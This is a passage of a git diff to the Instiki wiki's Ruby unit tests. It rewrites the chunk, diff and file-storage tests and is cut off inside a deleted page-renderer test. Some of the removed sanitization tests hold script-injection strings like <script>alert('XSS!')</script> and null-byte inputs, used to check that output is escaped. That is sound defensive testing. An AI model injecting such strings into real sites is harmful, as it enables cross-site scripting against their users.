-  def use_blank_wiki
-    Revision.destroy_all
-    Page.destroy_all
-    Web.destroy_all
+class WikiServiceWithNoPersistence
+  include AbstractWikiService
+  def initialize
+    init_wiki_service
+  end
+  
+  def storage_path
+    RAILS_ROOT + '/storage/test/'
   end
 end
 
+
 # This module is to be included in unit tests that involve matching chunks.
 # It provides a easy way to test whether a chunk matches a particular string
 # and any the values of any fields that should be set after a match.
 class ContentStub < String
-
-  attr_reader :web
-
   include ChunkManager
   def initialize(str)
     super
     init_chunk_manager
-    @web = Object.new
-    class << @web
-      def address
-        'wiki1'
-      end
-    end
   end
-
-  def url_generator
-     StubUrlGenerator.new
-  end
-     
   def page_link(*); end
 end
 
@@ -96,16 +92,14 @@ module ChunkMatch
     end
 
     content = ContentStub.new(test_text)
-      chunk_type.apply_to(content)
+	chunk_type.apply_to(content)
 
     # Test if requested parts are correct.
     expected_chunk_state.each_pair do |a_method, expected_value|
-      content.chunks.each do |c|
-        assert c.kind_of?(chunk_type)
-        assert_respond_to(c, a_method)
-        assert_equal(expected_value, c.send(a_method.to_sym),
-        "Wrong #{a_method} value")
-      end
+      assert content.chunks.last.kind_of?(chunk_type)
+      assert_respond_to(content.chunks.last, a_method)
+      assert_equal(expected_value, content.chunks.last.send(a_method.to_sym),
+          "Wrong #{a_method} value")
     end
   end
 
@@ -117,114 +111,18 @@ module ChunkMatch
   end
 end
 
-class StubUrlGenerator < AbstractUrlGenerator
-
-  def initialize
-    super(:doesnt_need_controller)
-  end
-
-  def url_for(hash = {})
-    if(hash[:action] == 'list')
-      "/#{hash[:web]}/list"
-    else
-      '../files/pngs'
-    end
-  end
-
-  def file_link(mode, name, text, web_name, known_file, description)
-    link = CGI.escape(name)
-    case mode
-    when :export
-      if known_file then %{<a class="existingWikiWord" title="#{description}" href="#{link}.html">#{text}</a>}
-      else %{<span class="newWikiWord">#{text}</span>} end
-    when :publish
-      if known_file then %{<a class="existingWikiWord" title="#{description}" href="../published/#{link}">#{text}</a>}
-      else %{<span class=\"newWikiWord\">#{text}</span>} end
-    else 
-      if known_file
-        %{<a class=\"existingWikiWord\" title="#{description}" href=\"../file/#{link}\">#{text}</a>}
-      else 
-        %{<span class=\"newWikiWord\">#{text}<a href=\"../file/#{link}\">?</a></span>}
-      end
-    end
-  end
-
-  def page_link(mode, name, text, web_address, known_page)
-    link = CGI.escape(name)
-    title = web_address == 'wiki1' ? '' : " title='#{web_address}'"
-    case mode
-    when :export
-      if known_page then %{<a class="existingWikiWord" href="#{link}.html">#{text}</a>}
-      else %{<span class="newWikiWord">#{text}</span>} end
-    when :publish
-      if known_page then %{<a class="existingWikiWord" href="../published/#{link}"#{title}>#{text}</a>}
-      else %{<span class="newWikiWord">#{text}</span>} end
-    else 
-      if known_page
-        if web_address == 'instiki'
-          %{<a class="existingWikiWord" href="../../#{web_address}/show/#{link}"#{title}>#{text}</a>}
-        else
-          %{<a class="existingWikiWord" href="../show/#{link}"#{title}>#{text}</a>}        
+if defined? $validate_xml_in_assert_success and $validate_xml_in_assert_success == true
+  module Test
+    module Unit
+      module Assertions
+        unless method_defined? :__assert_success_before_ovverride_by_instiki
+          alias :__assert_success_before_ovverride_by_instiki :assert_success 
         end
-      else 
-        if web_address == 'instiki'
-           %{<span class="newWikiWord">#{text}<a href="../../#{web_address}/show/#{link}">?</a></span>}
-        else
-           %{<span class="newWikiWord">#{text}<a href="../show/#{link}">?</a></span>}
-        end
-      end
-    end
-  end
-
-  def pic_link(mode, name, text, web_name, known_pic)
-    link = CGI.escape(name)
-    text = CGI.escapeHTML(CGI.unescapeHTML(text || :description))
-    case mode.to_sym
-    when :export
-      if known_pic then %{<img alt="#{text}" src="#{link}" />}
-      else %{<img alt="#{text}" src="no image" />} end
-    when :publish
-      if known_pic then %{<img alt="#{text}" src="../file/#{link}" />}
-      else %{<span class="newWikiWord">#{text}</span>} end
-    else 
-      if known_pic then %{<img alt="#{text}" src="../file/#{link}" />}
-      else %{<span class="newWikiWord">#{text}<a href="../file/#{link}">?</a></span>} end
-    end
-  end
-end
-
-  def media_link(mode, name, text, web_address, known_media, media_type)
-    link = CGI.escape(name)
-    text = CGI.escapeHTML(CGI.unescapeHTML(text || :description))
-    case mode.to_sym
-    when :export
-      if known_media 
-        %{<#{media_type} src="#{CGI.escape(name)}" controls="controls">#{text}</#{media_type}>}
-      else 
-        text
-      end
-    when :publish
-      if known_media
-        %{<#{media_type} src="../file/#{link}" controls="controls">#{text}</#{media_type}>}
-      else 
-        %{<span class="newWikiWord">#{text}</span>} 
-      end
-    else 
-      if known_media 
-        %{<#{media_type} src="../file/#{link}" controls="controls">#{text}</#{media_type}>}
-      else 
-        %{<span class="newWikiWord">#{text}<a href="../file/#{link}">?</a></span>} 
-      end
-    end
-  end
-
-module Test
-  module Unit
-    module Assertions
-      def assert_success(bypass_body_parsing = false)
-        assert_response :success
-        unless bypass_body_parsing  
-          assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) }  
+        def assert_success(bypass_body_parsing = false)
+          __assert_success_before_ovverride_by_instiki
+          unless bypass_body_parsing
+            assert_nothing_raised(@response.body) { REXML::Document.new(@response.body) }
+          end
         end
       end
     end
diff --git a/test/unit/chunks/category_test.rb b/test/unit/chunks/category_test.rb
index 923a4a16..163075f0 100755
--- a/test/unit/chunks/category_test.rb
+++ b/test/unit/chunks/category_test.rb
@@ -1,25 +1,17 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby
 
-require File.expand_path(File.dirname(__FILE__) + '/../../test_helper')
+require File.dirname(__FILE__) + '/../../test_helper'
 require 'chunks/category'
 
 class CategoryTest < Test::Unit::TestCase
   include ChunkMatch
 
   def test_single_category
-	match(Category, 'category: test', :list => ['test'], :hidden => nil, :unmask_text => 
-	"<div class=\"property\"> category: <a class=\"category_link\" href=\"/wiki1/list/test\">test</a></div>")
-	match(Category, 'category :   chunk test   ', :list => ['chunk test'], :hidden => nil, :unmask_text => 
-	"<div class=\"property\"> category: <a class=\"category_link\" href=\"/wiki1/list/chunk+test\">chunk test</a></div>")
+	match(Category, 'category: test', :list => ['test'], :hidden => nil)
+	match(Category, 'category :   chunk test   ', :list => ['chunk test'], :hidden => nil)
 	match(Category, ':category: test', :list => ['test'], :hidden => ':')
   end
 
-  def test_no_category
-	match(Category, 'category:  ', :list => [], :hidden => nil)
-	match(Category, 'category :   chunk test  , ', :list => ['chunk test'], :hidden => nil)
-	match(Category, ':category:', :list => [], :hidden => ':')
-  end
-
   def test_multiple_categories
 	match(Category, 'category: test, multiple', :list => ['test', 'multiple'], :hidden => nil)
 	match(Category, 'category : chunk test , multi category,regression test case  ', 
@@ -27,16 +19,4 @@ class CategoryTest < Test::Unit::TestCase
 	)
   end
 
-  def test_multiple_categories_sanitized
-	match(Category, 'category: test, multiple,<span>a & b</span> <script>alert("XSS!");</script>', :list => ['test', 'multiple', '&lt;span&gt;a &amp; b&lt;/span&gt; &lt;script&gt;alert(&quot;XSS!&quot;);&lt;/script&gt;'], :hidden => nil)
-	match(Category, 'category : chunk test , multi category,<span>a & b</span> <script>alert("XSS!");</script>', 
-		:list => ['chunk test','multi category','&lt;span&gt;a &amp; b&lt;/span&gt; &lt;script&gt;alert(&quot;XSS!&quot;);&lt;/script&gt;'], :hidden => nil
-	)
-  end
-
-  def test_multiple_categories_invalid_utf8
-	match(Category, "category: test, multiple,\000egg", :list => ['test', 'multiple', 'egg'], :hidden => nil)
-	match(Category, "category : chunk test , multi category,,e\000gg", :list => ['chunk test', 'multi category', 'egg'], :hidden => nil)
-  end
-
 end
diff --git a/test/unit/chunks/nowiki_test.rb b/test/unit/chunks/nowiki_test.rb
index 96e5bfd3..2fcad789 100755
--- a/test/unit/chunks/nowiki_test.rb
+++ b/test/unit/chunks/nowiki_test.rb
@@ -1,6 +1,6 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby
 
-require File.expand_path(File.dirname(__FILE__) + '/../../test_helper')
+require File.dirname(__FILE__) + '/../../test_helper'
 require 'chunks/nowiki'
 
 class NoWikiTest < Test::Unit::TestCase
@@ -12,60 +12,4 @@ class NoWikiTest < Test::Unit::TestCase
 	)
   end
 
-  def test_include_nowiki
-	match(NoWiki, 'This sentence contains <nowiki>[[!include foo]]</nowiki>. Do not touch!',
-		:plain_text => '[[!include foo]]'
-	)
-  end
-
-  def test_markdown_nowiki
-	match(NoWiki, 'This sentence contains <nowiki>*raw text*</nowiki>. Do not touch!',
-		:plain_text => '*raw text*'
-	)
-  end
-
-  def test_sanitize_nowiki
-	match(NoWiki, 'This sentence contains <nowiki>[[test]]&<a href="a&b">shebang</a> <script>alert("xss!");</script> *foo*</nowiki>. Do not touch!',
-		:plain_text => "[[test]]&amp;<a href=\"a&amp;b\">shebang</a> &lt;script&gt;alert(\"xss!\");&lt;/script&gt; *foo*"
-	)
-  end
-
-# Here, the input is not namespace-well-formed, but the output is.
-# I think that's OK.
-  def test_sanitize_nowiki_ill_formed
-    match(NoWiki, "<nowiki><animateColor xlink:href='#foo'/></nowiki>",
-                :plain_text => '<animateColor href="#foo"/>'
-    )
-  end
-
-  def test_sanitize_nowiki_ill_formed_II
-    match(NoWiki, "<nowiki><animateColor xlink:href='#foo'/>\000</nowiki>",
-                :plain_text => '<animateColor href="#foo"/>'
-    )
-  end
-
-  def test_sanitize_nowiki_ill_formed_III
-    match(NoWiki, "<nowiki><animateColor xlink:href='#foo' xmlns:xlink='http://www.w3.org/1999/xlink'/>\000</nowiki>",
-                :plain_text => '<animateColor xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#foo"/>'
-    )
-  end
-
-  def test_sanitize_nowiki_bad_utf8
-    match(NoWiki, "<nowiki>\357elephant &AMP; \302ivory</nowiki>",
-                :plain_text => "".respond_to?(:force_encoding) ? "elephant &amp;AMP; ivory" : "ephant &amp;AMP; vory"
-    )
-  end
-
-  def test_sanitize_empty_nowiki
-    match(NoWiki, "<nowiki></nowiki>",
-                :plain_text => ''
-    )
-  end
-
-  def test_sanitize_blank_nowiki
-    match(NoWiki, "<nowiki>\n</nowiki>",
-                :plain_text => "\n"
-    )
-  end
-
 end
diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb
index 988ebb6c..b73a88cc 100755
--- a/test/unit/chunks/wiki_test.rb
+++ b/test/unit/chunks/wiki_test.rb
@@ -1,7 +1,6 @@
-#!/usr/bin/env ruby
-#coding: UTF-8
+#!/bin/env ruby
 
-require Rails.root.join('test', 'test_helper')
+require File.dirname(__FILE__) + '/../../test_helper'
 require 'chunks/wiki'
 
 class WikiTest < Test::Unit::TestCase
@@ -12,18 +11,6 @@ class WikiTest < Test::Unit::TestCase
 	match(WikiChunk::Word, 'This is a WikiWord okay?', :page_name => 'WikiWord')
   end
 
-  def test_cyrillic
-	match(WikiChunk::Word, 'This is a НовойСтраницы okay?', :page_name => 'НовойСтраницы')
-  end
-
-  def test_cyrillic_lowercase
-	no_match(WikiChunk::Word, 'This is a Новойстраницы?')
-  end
-
-  def test_lowercase_accented
-	no_match(WikiChunk::Word, "This is a Refer\303\252ncia?")
-  end
-
   def test_escaped
     # escape is only implemented in WikiChunk::Word 
 	match(WikiChunk::Word, 'Do not link to an \EscapedWord',
@@ -35,10 +22,6 @@ class WikiTest < Test::Unit::TestCase
     match(WikiChunk::Link, 'This is a [[bracketted link]]', :page_name => 'bracketted link')
   end
 
-  def test_single_letter_brackets
-    match(WikiChunk::Link, 'This is a [[x]]', :page_name => 'x')
-  end
-
   def test_void_brackets
     # double brackets woith only spaces inside are not a WikiLink
     no_match(WikiChunk::Link, "This [[ ]] are [[]] no [[ \t ]] links")
@@ -56,7 +39,7 @@ class WikiTest < Test::Unit::TestCase
         :page_name => 'Sperberg-McQueen')
     match(WikiChunk::Link, 
         'This is a [[  Sperberg  McQueen ]] link with spaces inside and around it', 
-        :page_name => 'Sperberg McQueen')
+        :page_name => 'Sperberg  McQueen')
   end
 
   def test_complex_brackets
@@ -64,35 +47,10 @@ class WikiTest < Test::Unit::TestCase
 	      :page_name => 'Sperberg-McQueen')
   end
   
-  def test_interweb_links
-	match(WikiChunk::Link, 'This is a tricky link [[Froogle:Sperberg-McQueen]]', 
-	      {:page_name => 'Sperberg-McQueen', :web_name => 'Froogle'})
-  end
-  
-  def test_void_include
-    # double brackets with only spaces inside are not a WikiInclude
-    no_match(Include, "This [[!include ]] are [[!include]] no [[!include \t ]] links")
-  end
-
-  def test_include_strip_spaces
-    content = "This is a [[!include Sperberg-McQueen \t ]] link with trailing spaces to strip. " +
-              "This is a [[!include \t Gross-Mende]] link with leading spaces to strip." +
-              "This is a [[!include Milo Miles  ]] link with spaces around it to strip"
-    recognized_includes = content.scan(Include.pattern).collect { |m| m[0] }
-    assert_equal ['Sperberg-McQueen', 'Gross-Mende', 'Milo Miles'], recognized_includes
-  end
-
   def test_include_chunk_pattern
-    content = 'This is a [[!include pagename]] and [[!include WikiWord]] and [[!include x]]but [[blah]]'
+    content = 'This is a [[!include pagename]] and [[!include WikiWord]] but [[blah]]'
     recognized_includes = content.scan(Include.pattern).collect { |m| m[0] }
-    assert_equal %w(pagename WikiWord x), recognized_includes
-  end
-
-  def test_redirects_chunk_pattern
-    content = 'This is a [[!redirects pagename]] and [[!redirects WikiWord]] and' +
-      ' [[!redirects x]] and [[!redirects page name]] but [[blah]]'
-    recognized_redirects = content.scan(Redirect.pattern).collect { |m| m[0] }
-    assert_equal %w(pagename WikiWord x page\ name), recognized_redirects
+    assert_equal %w(pagename WikiWord), recognized_includes
   end
 
   def test_textile_link
@@ -123,19 +81,18 @@ class WikiTest < Test::Unit::TestCase
     # empty link type
     assert_link_parsed_as 'page name', 'link?:', :show, '[[page name|link?:]]'
     # unknown link type
-    assert_link_parsed_as 'create_system', 'create_system', :show, 
+    assert_link_parsed_as 'page name:create_system', 'page name:create_system', :show, 
         '[[page name:create_system]]'
   end
 
   def assert_link_parsed_as(expected_page_name, expected_link_text, expected_link_type, link)
     link_to_file = ContentStub.new(link)
     WikiChunk::Link.apply_to(link_to_file)
-    link_to_file.chunks.each do |chunk|
-      assert chunk
-      assert_equal expected_page_name, chunk.page_name
-      assert_equal expected_link_text, chunk.link_text
-      assert_equal expected_link_type, chunk.link_type
-    end
+    chunk = link_to_file.chunks.last
+    assert chunk
+    assert_equal expected_page_name, chunk.page_name
+    assert_equal expected_link_text, chunk.link_text
+    assert_equal expected_link_type, chunk.link_type
   end
   
 end
diff --git a/test/unit/diff_test.rb b/test/unit/diff_test.rb
index 77275bfa..3a0f35a5 100755
--- a/test/unit/diff_test.rb
+++ b/test/unit/diff_test.rb
@@ -1,111 +1,92 @@
-#!/usr/bin/env ruby
+#!/bin/env ruby -w
 
-require File.expand_path(File.dirname(__FILE__) + '/../test_helper')
-require 'xhtmldiff'
+require File.dirname(__FILE__) + '/../test_helper'
+require 'diff'
+
+include Diff
 
 class DiffTest < Test::Unit::TestCase
-
-  def setup
-
-  end
-
-  def diff(a,b)
-    diff_doc = REXML::Document.new
-    div = REXML::Element.new('div', nil, {:respect_whitespace =>:all})
-    div.attributes['class'] = 'xhtmldiff_wrapper'
-    diff_doc << div
-    hd = XHTMLDiff.new(div)
-    parsed_a = REXML::HashableElementDelegator.new(
-           REXML::XPath.first(REXML::Document.new("<div>"+a+"</div>"), '/div'))
-    parsed_b = REXML::HashableElementDelegator.new(
-           REXML::XPath.first(REXML::Document.new("<div>"+b+"</div>"), '/div'))
-    Diff::LCS.traverse_balanced(parsed_a, parsed_b, hd)
-    diffs = ''
-    diff_doc.write(diffs, -1, true, true)
-    diffs.gsub(/\A<div class='xhtmldiff_wrapper'>(.*)<\/div>\Z/m, '\1')
-  end
-
-  def test_html_diff_simple
-    a = 'this was the original string'
-    b = 'this is the new string'
-    assert_equal("<span> this<del class='diffmod'> was</del><ins class='diffmod'> is</ins> the" +
-           "<del class='diffmod'> original</del><ins class='diffmod'> new</ins> string</span>",
-          diff(a, b))
-  end
-
-  def test_html_diff_with_multiple_paragraphs
-    a = "<p>this was the original string</p>"
-    b = "<p>this is</p>\n<p> the new string</p>\n<p>around the world</p>"
-    assert_equal(
-        "<p><span> this<del class='diffmod'> was</del><ins class='diffmod'> is</ins>" +
-        "<del class='diffdel'> the</del><del class='diffdel'> original</del><del class='diffdel'> string</del></span></p>" +
-        "<ins class='diffins'>\n</ins><ins class='diffins'><p> the new string</p></ins>" +
-        "<ins class='diffins'>\n</ins><ins class='diffins'><p>around the world</p></ins>",
-        diff(a, b))
-  end
-
-  def test_html_diff_deleting_a_paragraph
-    a = "<p>this is a paragraph</p>\n<p>this is a second paragraph</p>\n<p>this is a third paragraph</p>"
-    b = "<p>this is a paragraph</p>\n<p>this is a third paragraph</p>"
-    assert_equal(
-         "<p>this is a paragraph</p>\n<del class='diffdel'><p>this is a second paragraph</p></del>" +
-         "<del class='diffdel'>\n</del><p>this is a third paragraph</p>",
-        diff(a, b))
-  end
-
-  def test_split_paragraph_into_two
-     a = "<p>foo bar</p>"
-     b = "<p>foo</p><p>bar</p>"
-     assert_equal(
-       "<p><span> foo<del class='diffdel'> bar</del></span></p>" +
-       "<ins class='diffins'><p>bar</p></ins>",
-      diff(a,b))
-  end
-
-  def test_join_two_paragraphs_into_one
-     a = "<p>foo</p><p>bar</p>"
-     b = "<p>foo bar</p>"
-     assert_equal(
-       "<p><span> foo<ins class='diffins'> bar</ins></span></p>" +
-       "<del class='diffdel'><p>bar</p></del>",
-      diff(a,b))
-  end
-
-  def test_add_inline_element
-     a = "<p>foo bar</p>"
-     b = "<p>foo <b>bar</b></p>"
-     assert_equal(
-        "<p><span> foo<del class='diffdel'> bar</del></span>" +
-        "<ins class='diffins'><b>bar</b></ins></p>",
-       diff(a,b))
-  end
-
-  def test_html_diff_with_tags
-    a = ""
-    b = "<div>foo</div>"
-    assert_equal "<ins class='diffins'><div>foo</div></ins>", diff(a, b)
+  def test_init
+    assert_nothing_raised {
+      s = SequenceMatcher.new('private Thread currentThread;',
+            'private volatile Thread currentThread;') { |x| x == ' ' }
+    }
   end
   
-  def test_diff_for_tag_change
-    a = "<a>x</a>"
-    b = "<b>x</b>"
-    assert_equal "<del class='diffmod'><a>x</a></del><ins class='diffmod'><b>x</b></ins>", diff(a, b)
+  def test_matching_blocks
+    s = SequenceMatcher.new 'abxcd', 'abcd'
+    assert_equal [[0, 0, 2], [3, 2, 2], [5, 4, 0]], s.get_matching_blocks
+  end
+  
+  def test_ratio
+    s = SequenceMatcher.new 'abcd', 'bcde'
+    assert_equal 0.75, s.ratio, 0.001
+    assert_equal 0.75, s.quick_ratio, 0.001
+    assert_equal 1.0, s.real_quick_ratio, 0.001
+  end
+  
+  def test_longest_match
+    s = SequenceMatcher.new(' abcd', 'abcd abcd')
+    assert_equal [0, 4, 5], s.find_longest_match(0, 5, 0, 9)
+  end
+  
+  def test_opcodes
+    s = SequenceMatcher.new('qabxcd', 'abycdf')
+    assert_equal( 
+      [
+        [:delete, 0, 1, 0, 0],
+        [:equal, 1, 3, 0, 2],
+        [:replace, 3, 4, 2, 3],
+        [:equal, 4, 6, 3, 5],
+        [:insert, 6, 6, 5, 6]
+      ],
+      s.get_opcodes)
   end
 
-  def test_diff_for_tag_change_II
-    a = "<ul>\n<li>x</li>\n<li>y</li>\n</ul>"
-    b = "<ol>\n<li>x</li>\n<li>y</li>\n</ol>"
-    assert_equal "<del class='diffmod'><ul>\n<li>x</li>\n<li>y</li>\n</ul>" +
-          "</del><ins class='diffmod'><ol>\n<li>x</li>\n<li>y</li>\n</ol></ins>", diff(a, b)
+
+  def test_count_leading
+    assert_equal 3, Diff.count_leading('   abc', ' ')
   end
 
+  def test_html2list
+    a = "here is the original text"
+    assert_equal(
+        ['here ', 'is ', 'the ', 'original ', 'text'],
+        HTMLDiff.html2list(a))
+  end
+
+  def test_html_diff
+    a = 'this was the original string'
+    b = 'this is the super string'
+    assert_equal('this <del class="diffmod">was </del>' + 
+           '<ins class="diffmod">is </ins>the ' +
+           '<del class="diffmod">original </del>' + 
+           '<ins class="diffmod">super </ins>string',
+           HTMLDiff.diff(a, b))
+  end
+  
+  def test_html_diff_with_multiple_paragraphs
+    a = "<p>this was the original string</p>"
+    b = "<p>this is</p>\r\n<p>the super string</p>\r\n<p>around the world</p>"
+
+    assert_equal(
+      "<p>this <del class=\"diffmod\">was </del>" + 
+      "<ins class=\"diffmod\">is</ins></p>\r\n<p>the " +
+      "<del class=\"diffmod\">original </del>" + 
+      "<ins class=\"diffmod\">super </ins>string</p>\r\n" +
+      "<p><ins class=\"diffins\">around the world</ins></p>",
+      HTMLDiff.diff(a, b)
+    )
+  end
+  
   # FIXME this test fails (ticket #67, http://dev.instiki.org/ticket/67)
   def test_html_diff_preserves_endlines_in_pre
-    a = "<pre>a\nb\nc\n</pre>"
-    b = "<pre>a\n</pre>"
-    assert_equal(
-        "<pre><span> a\n<del class='diffdel'>b\nc\n</del></span></pre>",
-        diff(a, b))
-  end
+    a = "<pre>\na\nb\nc\n</pre>"
+    b = ''
 
+    assert_equal(
+        "<pre>\n<del class=\"diffdel\">a\nb\nc\n</del></pre>",
+        HTMLDiff.diff(a, b))
+  end
+  
 end
diff --git a/test/unit/file_yard_test.rb b/test/unit/file_yard_test.rb
new file mode 100755
index 00000000..f40c0588
--- /dev/null
+++ b/test/unit/file_yard_test.rb
@@ -0,0 +1,70 @@
+#!/bin/env ruby -w
+
+require File.dirname(__FILE__) + '/../test_helper'
+require 'fileutils'
+require 'file_yard'
+require 'stringio'
+
+class FileYardTest < Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(file_path)
+    FileUtils.rm(Dir["#{file_path}/*"])
+    @yard = FileYard.new(file_path, 100)
+  end
+
+  def test_check_upload_size
+    assert_nothing_raised { @yard.check_upload_size(100.kilobytes) }
+    assert_raises(Instiki::ValidationError) { @yard.check_upload_size(100.kilobytes + 1) }
+  end
+
+  def test_files
+    assert_equal [], @yard.files
+    
+    # FileYard gets the list of files from directory in the constructor
+    @yard.upload_file('aaa', StringIO.new('file contents'))
+    assert_equal ["#{file_path}/aaa"], Dir["#{file_path}/*"]
+    assert_equal ['aaa'], @yard.files
+    assert @yard.has_file?('aaa')
+    assert_equal 'file contents', File.read(@yard.file_path('aaa'))
+  end
+
+  def test_file_path
+    assert_equal "#{file_path}/abcd", @yard.file_path('abcd')
+  end
+
+  def test_size_limit
+    @yard = FileYard.new(file_path, 1)
+    one_kilobyte_string = "a" * 1.kilobyte
+
+    # as StringIO
+    assert_nothing_raised { 
+      @yard.upload_file('acceptable_file', StringIO.new(one_kilobyte_string)) 
+    }
+    assert_raises(Instiki::ValidationError) { 
+      @yard.upload_file('one_byte_too_long', StringIO.new(one_kilobyte_string + 'a')) 
+    }
+
+    # as Tempfile
+    require 'tempfile'
+
+    Tempfile.open('acceptable_file') do |f| 
+      f.write(one_kilobyte_string)
+      assert_nothing_raised { 
+        @yard.upload_file('acceptable_file', f) 
+      }
+    end
+
+    Tempfile.open('one_byte_too_long') do |f|
+      f.write(one_kilobyte_string + 'a')
+      assert_nothing_raised { 
+        @yard.upload_file('one_byte_too_long_2', f)
+      }
+    end
+  end
+
+  def file_path
+    "#{RAILS_ROOT}/storage/test/instiki"
+  end
+
+end
\ No newline at end of file
diff --git a/test/unit/maruku_tex.rb b/test/unit/maruku_tex.rb
deleted file mode 100755
index 5757b632..00000000
--- a/test/unit/maruku_tex.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-#!/usr/bin/env ruby
-
-require File.dirname(__FILE__) + '/../test_helper'
-
-class RedClothForTexTest < Test::Unit::TestCase
-  def test_basics
-    assert_equal '{\bf First Page}', Maruku.new('*First Page*').to_latex
-    assert_equal '{\em First Page}', Maruku.new('_First Page_').to_latex
-    assert_equal "\\begin{itemize}\n\t\\item A\n\t\t\\item B\n\t\t\\item C\n\t\\end{itemize}", Maruku.new('* A\n* B\n* C').to_latex
-  end
-  
-  def test_blocks
-    assert_equal '\section*{hello}', Maruku.new('#hello#').to_latex 
-    assert_equal '\subsection*{hello}', Maruku.new('##hello##').to_latex
-  end
-  
-  def test_table_of_contents
-
-source = <<EOL
-* [[A]]
-** [[B]]
-** [[C]]
-* D
-** [[E]]
-*** F
-EOL
-
-expected_result = <<EOL
-\\pagebreak
-
-\\section{A}
-Abe
-
-\\subsection{B}
-Babe
-
-\\subsection{C}
-\\pagebreak
-
-\\section{D}
-
-\\subsection{E}
-
-\\subsubsection{F}
-EOL
-    expected_result.chop!
-    assert_equal(expected_result, table_of_contents(source, 'A' => 'Abe', 'B' => 'Babe'))
-  end
-  
-  def test_entities
-    assert_equal "Beck \\& Fowler are 100\\% cool", RedClothForTex.new("Beck & Fowler are 100% cool").to_tex
-  end
-
-  def test_bracket_links
-    assert_equal "such a Horrible Day, but I won't be Made Useless", RedClothForTex.new("such a [[Horrible Day]], but I won't be [[Made Useless]]").to_tex
-  end
-  
-  def test_footnotes_on_abbreviations
-    assert_equal(
-      "such a Horrible Day\\footnote{1}, but I won't be Made Useless", 
-      RedClothForTex.new("such a [[Horrible Day]][1], but I won't be [[Made Useless]]").to_tex
-    )
-  end
-  
-  def test_subsection_depth
-    assert_equal "\\subsubsection*{Hello}", RedClothForTex.new("h4. Hello").to_tex
-  end
-end
diff --git a/test/unit/page_renderer_test.rb b/test/unit/page_renderer_test.rb
deleted file mode 100644
index 1b92b9ca..00000000
--- a/test/unit/page_renderer_test.rb
+++ /dev/null
@@ -1,929 +0,0 @@
-#!/usr/bin/env ruby
-# encoding: UTF-8
-
-require Rails.root.join('test', 'test_helper')
-
-class PageRendererTest < ActiveSupport::TestCase
-  fixtures :webs, :pages, :revisions, :system, :wiki_references
-  
-  def setup
-    @wiki = Wiki.new
-    @web = webs(:test_wiki)
-    @page = pages(:home_page)
-    @revision = revisions(:home_page_second_revision)
-  end
-  
-  def test_wiki_word_linking
-    @web.add_page('SecondPage', 'Yo, yo. Have you EverBeenHated', 
-                   Time.now, 'DavidHeinemeierHansson', x_test_renderer)
-    
-    assert_equal("<p>Yo, yo. Have you <span class='newWikiWord'>Ever Been Hated" + 
-        "<a href='../show/EverBeenHated'>?</a></span></p>", 
-        rendered_content(@web.page("SecondPage")))
-    
-    @web.add_page('EverBeenHated', 'Yo, yo. Have you EverBeenHated', Time.now, 
-                  'DavidHeinemeierHansson', x_test_renderer)
-    assert_equal("<p>Yo, yo. Have you <a class='existingWikiWord' " +
-        "href='../show/EverBeenHated'>Ever Been Hated</a></p>", 
-        rendered_content(@web.page("SecondPage")))
-  end
-  
-  def test_wiki_words
-    assert_equal %w( HisWay MyWay SmartEngine SmartEngineGUI ThatWay ), 
-        x_test_renderer(@revision).wiki_words.sort
-    
-    @wiki.write_page('wiki1', 'NoWikiWord', 'hey you!', Time.now, 'Me', x_test_renderer)
-    assert_equal [], x_test_renderer(@wiki.read_page('wiki1', 'NoWikiWord').revisions.last).wiki_words
-  end
-  
-  def test_existing_pages
-    assert_equal %w( MyWay SmartEngine ThatWay ), x_test_renderer(@revision).existing_pages.sort
-  end
-  
-  def test_unexisting_pages
-    assert_equal %w( HisWay SmartEngineGUI ), x_test_renderer(@revision).unexisting_pages.sort
-  end
-
-  def test_wiki_links_after_empty
-    assert_markup_parsed_as(%{<code></code>\n<p>This is a <span class='newWikiWord'>wikilink<a href=} +
-      %{'../show/wikilink'>?</a></span>.</p>},
-      "<code></code>\n\nThis is a [[wikilink]].")
-  end
-
-  def test_content_with_wiki_links
-    assert_equal "<p><span class='newWikiWord'>His Way<a href='../show/HisWay'>?</a></span> " +
-        "would be <a class='existingWikiWord' href='../show/MyWay'>My Way</a> " +
-        "<math class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>" +
-        "<mi>sin</mi><mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo><semantics>" +
-        "<annotation-xml encoding='SVG1.1'><svg></svg></annotation-xml></semantics></math> in kinda " +
-        "<a class='existingWikiWord' href='../show/ThatWay'>That Way</a> in " +
-        "<span class='newWikiWord'>His Way<a href='../show/HisWay'>?</a></span> " +
-        %{though <a class='existingWikiWord' href='../show/MyWay'>My Way</a> OverThere \342\200\223 see } +
-        "<a class='existingWikiWord' href='../show/SmartEngine'>Smart Engine</a> in that " +
-        "<span class='newWikiWord'>Smart Engine GUI" +
-        "<a href='../show/SmartEngineGUI'>?</a></span></p>", 
-        x_test_renderer(@revision).display_content
-  end
-
-  def test_markdown
-    set_web_property :markup, :markdownMML
-  
-    assert_markup_parsed_as(
-        %{<p>equation <math class='maruku-mathml' } +
-        %{display='inline' xmlns='http://www.w3.org/1998/Math/MathML'>} +
-        %{<mi>sin</mi><mo stretchy='false'>(</mo><mi>x</mi><mo stretchy='false'>)</mo></math></p>},
-        "equation $\\sin(x)$")
-  
-    re = Regexp.new('\\A<h1 id=\'my_headline_\\d{1,4}\'>My Headline</h1>\n\n<p>that <span class=\'newWikiWord\'>Smart Engine GUI<a href=\'../show/SmartEngineGUI\'>\?</a></span></p>\\Z')
-
-    assert_match_markup_parsed_as(re, "My Headline\n===========\n\nthat SmartEngineGUI")
-  
-    assert_match_markup_parsed_as(re, "#My Headline#\n\nthat SmartEngineGUI")
-
-    str1 = %{<div class='un_defn'>\n<h6 id='definition_\\d\{1,4\}'>Definition</h6>\n\n<p>Let <math} +
-    %{ class='maruku-mathml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>H</mi>} +
-    %{</math> be a subgroup of a group <math class='maruku-mathml' display='inline' xmlns='http://w} +
-    %{ww.w3.org/1998/Math/MathML'><mi>G</mi></math>. A <em>left coset</em> of <math class='maruku-m} +
-    %{athml' display='inline' xmlns='http://www.w3.org/1998/Math/MathML'><mi>H</mi></math> in <math} +
